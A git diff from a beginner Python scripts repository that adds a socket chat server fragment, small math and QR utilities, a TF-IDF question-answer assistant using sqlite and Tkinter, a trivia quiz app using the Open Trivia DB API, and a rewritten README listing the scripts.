established {addr}") + client_sckt.send(bytes("NICK", "utf-8")) + nick = client_sckt.recv(1024).decode("utf-8") + nickename.append(nick) + clients.append(client_sckt) + print(f"{nick} has joined the chat room ") + BroadCasating(f"{nick} has joined the chat room say hi !!!") + threading._start_new_thread(Client_Handler, (client_sckt,)) + + +recieve() +s.close() diff --git a/Python_swapping.py b/Python_swapping.py new file mode 100644 index 00000000000..1822f2f1bc3 --- /dev/null +++ b/Python_swapping.py @@ -0,0 +1,19 @@ +# Python3 program to swap first +# and last element of a list + +# Swap function +def swapList(newList): + size = len(newList) + + # Swapping + temp = newList[0] + newList[0] = newList[size - 1] + newList[size - 1] = temp + + return newList + + +# Driver code +newList = [12, 35, 9, 56, 24] + +print(swapList(newList)) diff --git a/QR_code_generator/qrcode.py b/QR_code_generator/qrcode.py new file mode 100755 index 00000000000..51a48b692b9 --- /dev/null +++ b/QR_code_generator/qrcode.py @@ -0,0 +1,10 @@ +import pyqrcode +# from pyqrcode import QRCode +# no need to import same library again and again + +# Creating QR code after given text "input" +url = pyqrcode.create(input("Enter text to convert: ")) +# Saving QR code as a png file +url.show() +# Name of QR code png file "input" +url.png(input("Enter image name to save: ") + ".png", scale=6) diff --git a/QuadraticCalc.py b/QuadraticCalc.py new file mode 100644 index 00000000000..305f7e1665a --- /dev/null +++ b/QuadraticCalc.py @@ -0,0 +1,44 @@ +# GGearing +# 02/10/2017 +# Simple script to calculate the quadratic formula of a sequence of numbers and +# recognises when the sequence isn't quadratic + + +def findLinear(numbers): # find a & b of linear sequence + a = numbers[1] - numbers[0] + a1 = numbers[2] - numbers[1] + if a1 == a: + b = numbers[0] - a + return (a, b) + else: + print("Sequence is not linear") + + +sequence = [] +first_difference = [] +second_difference = [] +for i in range(4): # input + term = str(i + 1) + inp = int(input("Enter term " + term + ": ")) + sequence.append(inp) + +for i in range(3): + gradient = sequence[i + 1] - sequence[i] + first_difference.append(gradient) +for i in range(2): + gradient = first_difference[i + 1] - first_difference[i] + second_difference.append(gradient) + +if second_difference[0] == second_difference[1]: # checks to see if consistent + a = second_difference[0] / 2 + subs_diff = [] + for i in range(4): + n = i + 1 + num = a * (n * n) + subs_diff.append((sequence[i]) - num) + b, c = findLinear(subs_diff) + print( + "Nth term: " + str(a) + "n^2 + " + str(b) + "n + " + str(c) + ) # outputs nth term +else: + print("Sequence is not quadratic") diff --git a/QuestionAnswerVirtualAssistant/backend.py b/QuestionAnswerVirtualAssistant/backend.py new file mode 100644 index 00000000000..3746a93cb69 --- /dev/null +++ b/QuestionAnswerVirtualAssistant/backend.py @@ -0,0 +1,221 @@ +import sqlite3 +import json +import pandas as pd +from sklearn.feature_extraction.text import TfidfVectorizer + + +class QuestionAnswerVirtualAssistant: + """ + Used for automatic question-answering + + It works by building a reverse index store that maps + words to an id. To find the indexed questions that contain + a certain the words in the user question, we then take an + intersection of the ids, ranks the questions to pick the best fit, + then select the answer that maps to that question + """ + + def __init__(self): + """ + Returns - None + Input - None + ---------- + - Initialize database. we use sqlite3 + - Check if the tables exist, if not create them + - maintain a class level access to the database + connection object + """ + self.conn = sqlite3.connect("virtualassistant.sqlite3", autocommit=True) + cur = self.conn.cursor() + res = cur.execute("SELECT name FROM sqlite_master WHERE name='IdToQuesAns'") + tables_exist = res.fetchone() + + if not tables_exist: + self.conn.execute( + "CREATE TABLE IdToQuesAns(id INTEGER PRIMARY KEY, question TEXT, answer TEXT)" + ) + self.conn.execute("CREATE TABLE WordToId (name TEXT, value TEXT)") + cur.execute( + "INSERT INTO WordToId VALUES (?, ?)", + ( + "index", + "{}", + ), + ) + + def index_question_answer(self, question, answer): + """ + Returns - string + Input - str: a string of words called question + ---------- + Indexes the question and answer. It does this by performing two + operations - add the question and answer to the IdToQuesAns, then + adds the words in the question to WordToId + - takes in the question and answer (str) + - passes the question and answer to a method to add them + to IdToQuesAns + - retrieves the id of the inserted ques-answer + - uses the id to call the method that adds the words of + the question to the reverse index WordToId if the word has not + already been indexed + """ + row_id = self._add_to_IdToQuesAns(question.lower(), answer.lower()) + cur = self.conn.cursor() + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] + reverse_idx = json.loads(reverse_idx) + question = question.split() + for word in question: + if word not in reverse_idx: + reverse_idx[word] = [row_id] + else: + if row_id not in reverse_idx[word]: + reverse_idx[word].append(row_id) + reverse_idx = json.dumps(reverse_idx) + cur = self.conn.cursor() + result = cur.execute( + "UPDATE WordToId SET value = (?) WHERE name='index'", (reverse_idx,) + ) + return "index successful" + + def _add_to_IdToQuesAns(self, question, answer): + """ + Returns - int: the id of the inserted document + Input - str: a string of words called `document` + --------- + - use the class-level connection object to insert the document + into the db + - retrieve and return the row id of the inserted document + """ + cur = self.conn.cursor() + res = cur.execute( + "INSERT INTO IdToQuesAns (question, answer) VALUES (?, ?)", + ( + question, + answer, + ), + ) + return res.lastrowid + + def find_questions(self, user_input): + """ + Returns - : the return value of the _find_questions_with_idx method + Input - str: a string of words called `user_input`, expected to be a question + --------- + - retrieve the reverse index + - use the words contained in the user input to find all the idxs + that contain the word + - use idxs to call the _find_questions_with_idx method + - return the result of the called method + """ + cur = self.conn.cursor() + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] + reverse_idx = json.loads(reverse_idx) + user_input = user_input.split(" ") + all_docs_with_user_input = [] + for term in user_input: + if term in reverse_idx: + all_docs_with_user_input.append(reverse_idx[term]) + + if not all_docs_with_user_input: # the user_input does not exist + return [] + + common_idx_of_docs = set(all_docs_with_user_input[0]) + for idx in all_docs_with_user_input[1:]: + common_idx_of_docs.intersection_update(idx) + + if not common_idx_of_docs: # the user_input does not exist + return [] + + return self._find_questions_with_idx(common_idx_of_docs) + + def _find_questions_with_idx(self, idxs): + """ + Returns - list[str]: the list of questions with the idxs + Input - list of idxs + --------- + - use the class-level connection object to retrieve the questions that + have the idx in the input list of idxs. + - retrieve and return these questions as a list + """ + idxs = list(idxs) + cur = self.conn.cursor() + sql = "SELECT id, question, answer FROM IdToQuesAns WHERE id in ({seq})".format( + seq=",".join(["?"] * len(idxs)) + ) + result = cur.execute(sql, idxs).fetchall() + return result + + def find_most_matched_question(self, user_input, corpus): + """ + Returns - list[str]: the list of [(score, most_matching_question)] + Input - user_input, and list of matching questions called corpus + --------- + - use the tfidf score to rank the questions and pick the most matching + question + """ + vectorizer = TfidfVectorizer() + tfidf_scores = vectorizer.fit_transform(corpus) + tfidf_array = pd.DataFrame( + tfidf_scores.toarray(), columns=vectorizer.get_feature_names_out() + ) + tfidf_dict = tfidf_array.to_dict() + + user_input = user_input.split(" ") + result = [] + for idx in range(len(corpus)): + result.append([0, corpus[idx]]) + + for term in user_input: + if term in tfidf_dict: + for idx in range(len(result)): + result[idx][0] += tfidf_dict[term][idx] + return result[0] + + def provide_answer(self, user_input): + """ + Returns - str: the answer to the user_input + Input - str: user_input + --------- + - use the user_input to get the list of matching questions + - create a corpus which is a list of all matching questions + - create a question_map that maps questions to their respective answers + - use the user_input and corpus to find the most matching question + - return the answer that matches that question from the question_map + """ + matching_questions = self.find_questions(user_input) + corpus = [item[1] for item in matching_questions] + question_map = { + question: answer for (id, question, answer) in matching_questions + } + score, most_matching_question = self.find_most_matched_question( + user_input, corpus + ) + return question_map[most_matching_question] + + +if __name__ == "__main__": + va = QuestionAnswerVirtualAssistant() + va.index_question_answer( + "What are the different types of competitions available on Kaggle", + "Types of Competitions Kaggle Competitions are designed to provide challenges for competitors", + ) + print( + va.index_question_answer( + "How to form, manage, and disband teams in a competition", + "Everyone that competes in a Competition does so as a team. A team is a group of one or more users", + ) + ) + va.index_question_answer( + "What is Data Leakage", + "Data Leakage is the presence of unexpected additional information in the training data", + ) + va.index_question_answer( + "How does Kaggle handle cheating", + "Cheating is not taken lightly on Kaggle. We monitor our compliance account", + ) + print(va.provide_answer("state Kaggle cheating policy")) + print(va.provide_answer("Tell me what is data leakage")) diff --git a/QuestionAnswerVirtualAssistant/frontend.py b/QuestionAnswerVirtualAssistant/frontend.py new file mode 100644 index 00000000000..216568bacc5 --- /dev/null +++ b/QuestionAnswerVirtualAssistant/frontend.py @@ -0,0 +1,44 @@ +from tkinter import * +import backend + + +def index_question_answer(): + # for this, we are separating question and answer by "_" + question_answer = index_question_answer_entry.get() + question, answer = question_answer.split("_") + print(question) + print(answer) + va = backend.QuestionAnswerVirtualAssistant() + print(va.index_question_answer(question, answer)) + + +def provide_answer(): + term = provide_answer_entry.get() + va = backend.QuestionAnswerVirtualAssistant() + print(va.provide_answer(term)) + + +if __name__ == "__main__": + root = Tk() + root.title("Knowledge base") + root.geometry("300x300") + + index_question_answer_label = Label(root, text="Add question:") + index_question_answer_label.pack() + index_question_answer_entry = Entry(root) + index_question_answer_entry.pack() + + index_question_answer_button = Button( + root, text="add", command=index_question_answer + ) + index_question_answer_button.pack() + + provide_answer_label = Label(root, text="User Input:") + provide_answer_label.pack() + provide_answer_entry = Entry(root) + provide_answer_entry.pack() + + search_term_button = Button(root, text="ask", command=provide_answer) + search_term_button.pack() + + root.mainloop() diff --git a/QuestionAnswerVirtualAssistant/requirements.txt b/QuestionAnswerVirtualAssistant/requirements.txt new file mode 100644 index 00000000000..fb4d28890ad --- /dev/null +++ b/QuestionAnswerVirtualAssistant/requirements.txt @@ -0,0 +1,2 @@ +pandas +scikit-learn \ No newline at end of file diff --git a/Quizzler Using Tkinter and Trivia DB API/README.md b/Quizzler Using Tkinter and Trivia DB API/README.md new file mode 100644 index 00000000000..1efa6c3f350 --- /dev/null +++ b/Quizzler Using Tkinter and Trivia DB API/README.md @@ -0,0 +1,103 @@ +# 🧠 Quizzler - Python-Based Quiz Application + +## 📌 Overview + +**Quizzler** is a Python-based GUI quiz application that fetches trivia questions from an online API and challenges the user with a series of True/False questions. Built using **Tkinter**, the app demonstrates effective use of object-oriented programming, API integration, and interactive UI design in Python. + +--- + +## 🎯 Objective + +The primary goal of Quizzler is to: +- Provide a user-friendly quiz experience. +- Integrate with the Open Trivia DB API for dynamic question fetching. +- Showcase modular and scalable code architecture using Python. + +--- + +## Screenshots + +### Initial Screen and result + + + + + +
Login PageRegister Page
+ +### Response to wrong or correct answer + + + + + +
Profile PageHome Page
+ +--- +## 🛠️ Tech Stack + +| Component | Technology | +|------------------|---------------------| +| Language | Python | +| GUI Framework | Tkinter | +| Data Source | Open Trivia DB API | +| Architecture | Object-Oriented | + +--- + +## 🧩 Project Structure + +
+quizzler/
+│
+├── main.py # Main file to run the application
+├── ui.py # Handles the GUI logic with Tkinter
+├── quiz_brain.py # Core logic for question handling
+├── data.py # Module for API integration
+└── README.md # Documentation
+
+ + +- `main.py`: Initializes the quiz and GUI components. +- `ui.py`: Manages GUI rendering and button interactions. +- `quiz_brain.py`: Controls quiz logic, answer checking, and scorekeeping. +- `data.py`: Fetches quiz questions from the Open Trivia DB API. + +--- + +## 🔌 API Integration + +Questions are fetched using a GET request from the [Open Trivia Database API](https://opentdb.com/api_config.php). The app dynamically parses the JSON response and formats it for display. + +Example API endpoint: +> https://opentdb.com/api.php?amount=10&type=boolean + + - You can adjust amount if you want more or less questions. And type also. + +--- + +## 💻 How to Run + +### ✅ Prerequisites + +- Python 3.x installed on your machine +- `requests` library (install via pip) + +### 🧪 Installation Steps + +```bash +git clone https://github.com/prashantgohel321/Quizzler-Python.git +cd quizzler +pip install requests +``` + +### Execution +> python main.py + +### Features + - Clean and responsive UI with score tracking + - Instant feedback with visual cues (color-based) + - Real-time data fetching using API + - Modular code architecture for scalability + + diff --git a/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py b/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py new file mode 100644 index 00000000000..df3e705cbc0 --- /dev/null +++ b/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py @@ -0,0 +1,29 @@ + +''' +This file is responsible for fetching quiz questions from the Open Trivia Database API. +''' + +import requests + +parameters = { + "amount": 10, + "type": "multiple", + "category": 18 +} + +error_message = "" + +try: + response = requests.get(url="https://opentdb.com/api.php", params=parameters, timeout=10) + response.raise_for_status() # Raise an exception for HTTP errors + question_data = response.json()["results"] + print("Questions loaded successfully from the API.") +except requests.exceptions.ConnectionError: + error_message = "Network connection is poor. Please check your internet connection." + question_data = [] +except requests.exceptions.Timeout: + error_message = "Request timed out. Internet speed might be too slow." + question_data = [] +except requests.exceptions.RequestException as e: + error_message = f"An error occurred: {e}" + question_data = [] diff --git a/Quizzler Using Tkinter and Trivia DB API/data_static.py b/Quizzler Using Tkinter and Trivia DB API/data_static.py new file mode 100644 index 00000000000..081bc3982a2 --- /dev/null +++ b/Quizzler Using Tkinter and Trivia DB API/data_static.py @@ -0,0 +1,191 @@ +question_data = [ + { + "question": "What is one of the main impacts of progress in hardware technologies on software?", + "correct_answer": "Need for more sophisticated programs", + "incorrect_answers": [ + "Increase in hardware prices", + "Decrease in computational power", + "Less complex problems for software engineers" + ] + }, + { + "question": "How have software engineers coped with the challenges of increasing computational capabilities?", + "correct_answer": "By innovating and building on past experiences", + "incorrect_answers": [ + "By reducing programming efforts", + "By simplifying programming languages", + "By avoiding large and complex problems" + ] + }, + { + "question": "Which of the following is a definition of software engineering according to IEEE?", + "correct_answer": "The application of systematic, disciplined, quantifiable approach to software development, operation, and maintenance", + "incorrect_answers": [ + "The art of writing computer programs", + "An engineering approach to developing software", + "A collection of unorganized programming techniques" + ] + }, + { + "question": "Why is software engineering similar to other engineering disciplines?", + "correct_answer": "It uses well-understood and well-documented principles", + "incorrect_answers": [ + "It makes use of subjective judgement and ill understood principles", + "It often avoids conflicting goals", + "It relies solely on qualitative attributes" + ] + }, + { + "question": "Which statement supports the idea that software engineering is not just an art?", + "correct_answer": "It organizes experiences and provides theoretical bases to experimental observations", + "incorrect_answers": [ + "It makes subjective judgement based on qualitative attributes", + "It avoids systematic and disciplined approaches", + "It does not require tradeoffs in problem solving" + ] + }, + { + "question": "How have software engineering principles evolved over the last sixty years?", + "correct_answer": "From an art form to an engineering discipline", + "incorrect_answers": [ + "From a science to an art form", + "From a craft to an art form", + "From an engineering discipline to a craft" + ] + }, + { + "question": "Which programming style is characterized by quickly developing a program without any specification, plan, or design?", + "correct_answer": "Build and fix", + "incorrect_answers": [ + "Exploratory", + "Code and fix", + "Ad hoc" + ] + }, + { + "question": "According to the text, what has been a symptom of the present software crisis?", + "correct_answer": "Increasing software costs compared to hardware", + "incorrect_answers": [ + "Decrease in software development costs", + "Software products becoming easier to alter and debug", + "Software products being delivered on time" + ] + }, + { + "question": "What is one of the main benefits of adopting software engineering techniques according to the text?", + "correct_answer": "Developing high quality software cost effectively and timely", + "incorrect_answers": [ + "Increasing hardware costs", + "Avoiding the use of scientific principles", + "Making software development more subjective" + ] + }, + { + "question": "What is a key characteristic of toy software?", + "correct_answer": "Lack good user interface and proper documentation", + "incorrect_answers": [ + "Developed by a team of professionals", + "Large in size and highly complex", + "Thoroughly tested and maintained" + ] + } + # { + # "question": "What differentiates professional software from toy software?", + # "correct_answer": "Professional software is systematically designed, carefully implemented, and thoroughly tested", + # "incorrect_answers": [ + # "Professional software is usually developed by a single individual", + # "Professional software lacks supporting documents", + # "Professional software is used by a single user" + # ] + # }, + # { + # "question": "What is a key feature of software services projects?", + # "correct_answer": "They often involve the development of customized software", + # "incorrect_answers": [ + # "They are always largescale projects", + # "They involve the development of off-the-shelf software", + # "They are never outsourced to other companies" + # ] + # }, + # { + # "question": "Why might a company choose to outsource part of its software development work?", + # "correct_answer": "To develop some parts cost effectively or to use external expertise", + # "incorrect_answers": [ + # "To ensure all development work is done internally", + # "Because it has more expertise than the outsourcing company", + # "To avoid completing the project on time" + # ] + # }, + # { + # "question": "What type of software is typically developed in a short time frame and at a low cost?", + # "correct_answer": "Toy software", + # "incorrect_answers": [ + # "Generic software products", + # "Customized software", + # "Professional software" + # ] + # }, + # { + # "question": "What has been a traditional focus of Indian software companies?", + # "correct_answer": "Executing software services projects", + # "incorrect_answers": [ + # "Developing largescale generic software products", + # "Avoiding any type of software development", + # "Developing only toy software" + # ] + # }, + # { + # "question": "What is the primary characteristic of the exploratory style of software development?", + # "correct_answer": "Complete freedom for the programmer to choose development activities", + # "incorrect_answers": [ + # "Strict adherence to development rules and guidelines", + # "Development of software based on detailed specifications", + # "Use of structured and well-documented procedures" + # ] + # }, + # { + # "question": "What typically initiates the coding process in the exploratory development style?", + # "correct_answer": "Initial customer briefing about requirements", + # "incorrect_answers": [ + # "Completion of a detailed design document", + # "Formal approval from a project manager", + # "Completion of a feasibility study" + # ] + # }, + # { + # "question": "What is a major limitation of the exploratory development style for large sized software projects?", + # "correct_answer": "Development time and effort grow exponentially with problem size", + # "incorrect_answers": [ + # "Requires a large team of developers", + # "Results in highly structured and high quality code", + # "Easily allows for concurrent work among multiple developers" + # ] + # }, + # { + # "question": "What difficulty arises when using the exploratory style in a team development environment?", + # "correct_answer": "Difficulty in partitioning work among developers due to lack of proper design and documentation", + # "incorrect_answers": [ + # "Easy partitioning of work among developers", + # "Development work is based on a detailed design", + # "Use of structured and well documented code" + # ] + # }, + # { + # "question": "In what scenario can the exploratory development style be successful?", + # "correct_answer": "Developing very small programs", + # "incorrect_answers": [ + # "Developing largescale enterprise software", + # "Implementing critical safety systems", + # "Managing large, distributed teams" + # ] + # }, + # { + # "question": "What was the primary programming style used in the 1950s?", + # "correct_answer": "Build and fix (exploratory programming) style", + # "incorrect_answers": [ + # "Object-oriented programming", + # "Control flow-based design", + # "Data flow-oriented design" + # ] + # } +] \ No newline at end of file diff --git a/Quizzler Using Tkinter and Trivia DB API/main.py b/Quizzler Using Tkinter and Trivia DB API/main.py new file mode 100644 index 00000000000..37a038c5d60 --- /dev/null +++ b/Quizzler Using Tkinter and Trivia DB API/main.py @@ -0,0 +1,27 @@ + +"""This file processes the fetched questions and prepares them for use in the quiz.""" + +from question_model import Question +from data_dynamic import question_data +from quiz_brain import QuizBrain +from ui import QuizInterface + +# question_bank = [] +# question_text = question["question"] +# question_answer = question["correct_answer"] +# question_options = question["incorrect_answers"] + [question["correct_answer"]] +# new_question = Question(question_text, question_answer, question_options) +# question_bank.append(new_question) + +# list comprehension +question_bank = [ + Question( + question["question"], + question["correct_answer"], + question["incorrect_answers"] + [question["correct_answer"]] + ) + for question in question_data +] + +quiz = QuizBrain(question_bank) +quiz_ui = QuizInterface(quiz) diff --git a/Quizzler Using Tkinter and Trivia DB API/question_model.py b/Quizzler Using Tkinter and Trivia DB API/question_model.py new file mode 100644 index 00000000000..7087cd22968 --- /dev/null +++ b/Quizzler Using Tkinter and Trivia DB API/question_model.py @@ -0,0 +1,5 @@ +class Question: + def __init__(self, q_text, q_answer, q_options): + self.text = q_text + self.answer = q_answer + self.options = q_options diff --git a/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py b/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py new file mode 100644 index 00000000000..53bcf178931 --- /dev/null +++ b/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py @@ -0,0 +1,24 @@ + +"""This file contains the logic that drives the quiz game, including managing the current question, checking answers, and tracking the score.""" + +import html + +class QuizBrain: + def __init__(self, q_list): + self.question_number = 0 + self.score = 0 + self.question_list = q_list + self.current_question = None + + def still_has_questions(self): + return self.question_number < len(self.question_list) + + def next_question(self): + self.current_question = self.question_list[self.question_number] + self.question_number += 1 + q_text = html.unescape(self.current_question.text) + return f"Q.{self.question_number}: {q_text}" + + def check_answer(self, user_answer): + correct_answer = self.current_question.answer + return user_answer.lower() == correct_answer.lower() diff --git a/Quizzler Using Tkinter and Trivia DB API/screenshots/s1.png b/Quizzler Using Tkinter and Trivia DB API/screenshots/s1.png new file mode 100644 index 00000000000..8034d295d2e Binary files /dev/null and b/Quizzler Using Tkinter and Trivia DB API/screenshots/s1.png differ diff --git a/Quizzler Using Tkinter and Trivia DB API/screenshots/s2.png b/Quizzler Using Tkinter and Trivia DB API/screenshots/s2.png new file mode 100644 index 00000000000..96ad3a82ef6 Binary files /dev/null and b/Quizzler Using Tkinter and Trivia DB API/screenshots/s2.png differ diff --git a/Quizzler Using Tkinter and Trivia DB API/screenshots/s3.png b/Quizzler Using Tkinter and Trivia DB API/screenshots/s3.png new file mode 100644 index 00000000000..0e0129fbceb Binary files /dev/null and b/Quizzler Using Tkinter and Trivia DB API/screenshots/s3.png differ diff --git a/Quizzler Using Tkinter and Trivia DB API/screenshots/s4.png b/Quizzler Using Tkinter and Trivia DB API/screenshots/s4.png new file mode 100644 index 00000000000..977a7d38159 Binary files /dev/null and b/Quizzler Using Tkinter and Trivia DB API/screenshots/s4.png differ diff --git a/Quizzler Using Tkinter and Trivia DB API/ui.py b/Quizzler Using Tkinter and Trivia DB API/ui.py new file mode 100644 index 00000000000..42102c20fac --- /dev/null +++ b/Quizzler Using Tkinter and Trivia DB API/ui.py @@ -0,0 +1,145 @@ + +"""This file manages the graphical user interface of the quiz, using Tkinter to display questions, answer options, and the score to the user.""" + +from tkinter import * +from quiz_brain import QuizBrain +from data_dynamic import error_message + +# Normal screen +BACKGROUND = "#608BC1" +CANVAS = "#CBDCEB" +TEXT = "#133E87" + +# If answer is right +R_BACKGROUND = "#859F3D" +R_CANVAS = "#F6FCDF" +R_TEXT = "#31511E" + +# If answer is wrong +W_BACKGROUND = "#C63C51" +W_CANVAS = "#D95F59" +W_TEXT = "#522258" + +FONT = ("Lucida sans", 20) + +class QuizInterface: + + def __init__(self, quiz_brain: QuizBrain): + self.quiz = quiz_brain + self.window = Tk() + self.window.title("Quizzler") + self.window.config(padx=20, pady=20, bg=BACKGROUND) + + self.score_label = Label(text="Score: 0", fg="white", bg=BACKGROUND, font=("Lucida sans", 15, "bold")) + self.score_label.grid(row=0, column=1) + + self.canvas = Canvas(width=1000, height=550, bg=CANVAS) + self.question_text = self.canvas.create_text( + 500, 100, width=800, text="Some question text", fill=TEXT, font=FONT, anchor="center", justify="center" + ) + self.canvas.grid(row=1, column=0, columnspan=2, pady=50) + + self.opt_selected = IntVar() + self.options = self.create_radio_buttons() + + self.submit_button = Button( + text="Submit", command=self.submit_answer, fg=TEXT, font=FONT + ) + self.submit_button.grid(row=3, column=0, columnspan=2) + + if error_message: + self.display_error_message(error_message) + else: + self.get_next_question() + + self.window.mainloop() + + def create_radio_buttons(self): + radio_buttons = [] + y_position = 230 + for i in range(4): + radio_button = Radiobutton( + self.canvas, text="", variable=self.opt_selected, value=i + 1, font=FONT, bg=CANVAS, anchor="w", + justify="left", fg=TEXT, wraplength=900 + ) + radio_buttons.append(radio_button) + self.canvas.create_window(50, y_position, window=radio_button, anchor="w") + y_position += 65 + return radio_buttons + + def get_next_question(self): + if self.quiz.still_has_questions(): + self.opt_selected.set(0) # Reset selection + q_text = self.quiz.next_question() + self.canvas.itemconfig(self.question_text, text=q_text) + self.canvas.config(bg=CANVAS) + self.window.config(bg=BACKGROUND) + for option in self.options: + option.config(bg=CANVAS, fg=TEXT) + self.display_options() + self.score_label.config(bg=BACKGROUND, text=f"Score: {self.quiz.score}") + self.canvas.itemconfig(self.question_text, fill=TEXT) + else: + self.display_result() + + def display_options(self): + current_options = self.quiz.current_question.options + for i, option in enumerate(current_options): + self.options[i].config(text=option) + + def submit_answer(self): + selected_option_index = self.opt_selected.get() - 1 + if selected_option_index >= 0: + user_answer = self.quiz.current_question.options[selected_option_index] + self.quiz.check_answer(user_answer) + + if self.quiz.check_answer(user_answer): + self.quiz.score += 1 + self.canvas.config(bg=R_CANVAS) + self.window.config(bg=R_BACKGROUND) + for option in self.options: + option.config(bg=R_CANVAS, fg=R_TEXT) + self.canvas.itemconfig(self.question_text, fill=R_TEXT) + self.score_label.config(bg=R_BACKGROUND) + else: + self.canvas.config(bg=W_CANVAS) + self.window.config(bg=W_BACKGROUND) + for option in self.options: + option.config(bg=W_CANVAS, fg=W_TEXT) + self.canvas.itemconfig(self.question_text, fill=W_TEXT) + self.score_label.config(bg=W_BACKGROUND) + + self.window.after(1000, self.get_next_question) + + def display_result(self): + for option in self.options: + option.config(bg=CANVAS, fg=TEXT) + option.destroy() + + if self.quiz.score <= 3: + self.result_text = f"You've completed the quiz!\nYour final score: {self.quiz.score}/{self.quiz.question_number}\nBetter luck next time! Keep practicing!" + elif self.quiz.score <= 6: + self.result_text = f"You've completed the quiz!\nYour final score: {self.quiz.score}/{self.quiz.question_number}\nGood job! You're getting better!" + elif self.quiz.score <= 8: + self.result_text = f"You've completed the quiz!\nYour final score: {self.quiz.score}/{self.quiz.question_number}\nGreat work! You're almost there!" + else: + self.result_text = f"You've completed the quiz!\nYour final score: {self.quiz.score}/{self.quiz.question_number}\nExcellent! You're a Quiz Master!" + + self.score_label.config(bg=BACKGROUND, text=f"Score: {self.quiz.score}") + self.canvas.config(bg=CANVAS) + self.window.config(bg=BACKGROUND) + self.canvas.itemconfig(self.question_text, fill=TEXT) + self.score_label.config(bg=BACKGROUND) + + self.canvas.itemconfig(self.question_text, text=self.result_text) + self.canvas.coords(self.question_text, 500, 225) # Centered position + self.submit_button.config(state="disabled") + + def display_error_message(self, message): + for option in self.options: + option.config(bg=CANVAS, fg=TEXT) + option.destroy() + + self.canvas.itemconfig(self.question_text, text=message) + self.canvas.coords(self.question_text, 500, 225) # Centered position + self.submit_button.config(state="disabled") diff --git a/README.md b/README.md index bc8121113b6..a1521508a59 100644 --- a/README.md +++ b/README.md @@ -1,42 +1,61 @@ -Here is some more detailed information about the scripts I have written. I do not consider myself a programmer, I create these little programs as experiments to have a play with the language, or to solve a problem for myself. I would gladly accept pointers from others to improve the code and make it more efficient, or simplify the code. If you would like to make any comments then please feel free to email me at craig@geekcomputers.co.uk. - -In the scripts the comments etc are lined up correctly when they are viewed in [Notepad++](https://notepad-plus-plus.org/). This is what I use to code Python scripts. - -- `batch_file_rename.py` - This will batch rename a group of files in a given directory, once you pass the current and new extensions. - -- `create_dir_if_not_there.py` - Checks to see if a directory exists in the users home directory, if not then create it. - -- `dir_test.py` - Tests to see if the directory `testdir` exists, if not it will create the directory for you. - -- `env_check.py` - This script will check to see if all of the environment variables I require are set. - -- `fileinfo.py` - Show file information for a given file. - -- `folder_size.py` - This will scan the current directory and all subdirectories and display the size. - -- `logs.py` - This script will search for all `*.log` files in the given directory, zip them using the program you specify and then date stamp them. - -- `move_files_over_x_days.py` - This will move all the files from the source directory that are over 240 days old to the destination directory. - -- `nslookup_check.py` - This very simple script opens the file `server_list.txt` and the does an nslookup for each one to check the DNS entry. - -- `osinfo.py` - Displays some information about the OS you are running this script on. - -- `ping_servers.py` - This script will, depending on the arguments supplied will ping the servers associated with that application group. - -- `ping_subnet.py` - After supplying the first 3 octets it will scan the final range for available addresses. - -- `powerdown_startup.py` - This goes through the server list and pings the machine, if it's up it will load the putty session, if its not it will notify you. - -- `puttylogs.py` - This zips up all the logs in the given directory. - -- `script_count.py` - This scans my scripts directory and gives a count of the different types of scripts. - -- `script_listing.py` - This will list all the files in the given directory, it will also go through all the subdirectories as well. - -- `testlines.py` - This very simple script open a file and prints out 100 lines of whatever is set for the line variable. - -- `serial_scanner.py` contains a method called ListAvailablePorts which returns a list with the names of the serial ports that are in use in our computer, this method works only on Linux and Windows (can be extended for mac osx). If no port is found, an empty list is returned. - -- `get_youtube_view.py` - This is very simple python script to get more views for your youtube videos.Some times I use for repeating my favorite songs by this scripts. - +#This is a new repo +# My Python Eggs 🐍 😄 + +
+ +I do not consider myself as a programmer. I create these little programs as experiments to play with Python, or to solve problems for myself. I would gladly accept pointers from others to improve, simplify, or make the code more efficient. If you would like to make any comments then please feel free to email me: craig@geekcomputers.co.uk. + +
+ +This repository contains a collection of Python scripts that are designed to reduce human workload and serve as educational examples for beginners to get started with Python. The code documentation is aligned correctly for viewing in [Notepad++](https://notepad-plus-plus.org/) :spiral_notepad: + +Feel free to explore the scripts and use them for your learning and automation needs! + +## List of Scripts: + +1. [batch_file_rename.py](https://github.com/geekcomputers/Python/blob/master/batch_file_rename.py) - Batch rename a group of files in a specified directory, changing their extensions. +2. [create_dir_if_not_there.py](https://github.com/geekcomputers/Python/blob/master/create_dir_if_not_there.py) - Check if a directory exists in the user's home directory. Create it if it doesn't exist. +3. [Fast Youtube Downloader](https://github.com/geekcomputers/Python/blob/master/youtubedownloader.py) - Download YouTube videos quickly with parallel threads using aria2c. +4. [Google Image Downloader](https://github.com/geekcomputers/Python/tree/master/Google_Image_Downloader) - Query a given term and retrieve images from the Google Image database. +5. [dir_test.py](https://github.com/geekcomputers/Python/blob/master/dir_test.py) - Test if the directory `testdir` exists. If not, create it. +6. [env_check.py](https://github.com/geekcomputers/Python/blob/master/env_check.py) - Check if all the required environment variables are set. +7. [blackjack.py](https://github.com/Ratna04priya/Python/blob/master/BlackJack_game/blackjack.py) - Casino Blackjack-21 game in Python. +8. [fileinfo.py](https://github.com/geekcomputers/Python/blob/master/fileinfo.py) - Show file information for a given file. +9. [folder_size.py](https://github.com/geekcomputers/Python/blob/master/folder_size.py) - Scan the current directory and all subdirectories and display their sizes. +10. [logs.py](https://github.com/geekcomputers/Python/blob/master/logs.py) - Search for all `*.log` files in a directory, zip them using the specified program, and date stamp them. +11. [move_files_over_x_days.py](https://github.com/geekcomputers/Python/blob/master/move_files_over_x_days.py) - Move all files over a specified age (in days) from the source directory to the destination directory. +12. [nslookup_check.py](https://github.com/geekcomputers/Python/blob/master/nslookup_check.py) - Open the file `server_list.txt` and perform nslookup for each server to check the DNS entry. +13. [osinfo.py](https://github.com/geekcomputers/Python/blob/master/osinfo.py) - Display information about the operating system on which the script is 